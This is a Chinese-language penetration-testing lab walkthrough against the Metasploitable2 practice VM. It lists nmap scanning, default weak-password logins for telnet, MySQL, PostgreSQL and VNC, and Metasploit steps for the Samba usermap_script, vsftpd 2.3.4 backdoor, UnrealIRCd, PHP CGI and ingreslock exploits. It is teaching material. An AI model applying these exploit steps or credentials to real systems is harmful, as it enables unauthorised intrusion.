测试前准备
使用
ifconfig
命令，在虚拟机获取Metasploitable2的IP地址
在kali 使用
ping
命令,ping 10.0.0.112 尝试连接靶机。
Nmap - 端口扫描神器
简单介绍：
Nmap，也就是Network Mapper，最早是Linux下的网络扫描和嗅探工具包。
作用
- 探测网路上存活的主机
- 探测主机开放的端口
- 探测相应端口的服务或软件和版本
- 探测操作系统,硬件地址,和软件版本
- 探测脆弱性漏洞（用自带的或者自己编译的脚本检测漏洞）
在进行漏洞测试前扫描靶机端口：使用nmap工具，命令为
nmap -p 0-65535 10.0.0.112
。
注：-p为端口扫描命令，0-65535为计算机端口号（计算机总共有65536个端口），10.0.0.112为IP地址。
注：rhosts为远程端口，lhost为本地端口
1.弱命令漏洞
系统弱密码
telnet 10.0.0.112
账号密码都为msfadmin
Mysql弱密码
使用*
mysql -h 10.0.0.112-u root
*直接登录成功
PostgresQL弱密码
使用*
psql -h 10.0.0.112 -U postgres
- 密码：postgres 登录成功
VNC远程登录弱密码
使用
vnciewer 10.0.0.112
密码password直接登录
2.Samba MS-RPC Shell命令注入漏洞
漏洞产生的原因：通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh，在smb.conf中，导致允许远程命令执行。
(1)在kali中启用
msfconsole
(2)搜索相对应的samba漏洞代码*
search samba
(3)使用exploit/multi/samba/usermap_script
use exploit/multi/samba/usermap_script
(4)设置参数set rhosts 10.0.0.112
(5)执行命令，查看目录
run
ls
3、Vsftpd源码包含后门漏洞
漏洞产生原因:在特定版本的vsftpd服务器程序中，被人恶意植入代码，当用户名以“: )”结尾时，服务器就会在6200端口监听，并且能够执行任意代码
(1)在kali中启用
msfconsole
(2)搜索关于Vsftpd相关的漏洞库
search vsftpd
(3)使用exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
(4)设置参数
set rhosts10.0.0.112
4.UnreallRCd后门漏洞
漏洞产生的原因：在2009年11月到2010年6月间分布于某些镜面站点的UnreallRCd，在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码，远程攻击者能够执行任意代码
(1)找到相对应的模块进行使用
(2)设置相对应的参数并执行
5.PHP CGI 参数注入执行漏洞
漏洞介绍:GI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令。
(1)找到相对应的模块进行使用
(2)设置相对应的参数
(3)执行
6、Ingreslock后门漏洞
漏洞介绍：Ingreslock 后门程序监听在1524端口，连接到1524端口就可以直接获得root权限
(1)执行telnet命令,直接获取权限
7、Postgres共享库代码任意执行
漏洞介绍：在一些默认的Linux安装的PostgreSQL，postgres服务账户可以写到/tmp目录，还有共享库，允许任意执行代码
（1）找到相对应的模块进行使用
（2）验证漏洞（可省略）
show options //显示信息
（3）设置参数并执行
版权归原作者 v1lice 所有， 如有侵权，请联系我们删除。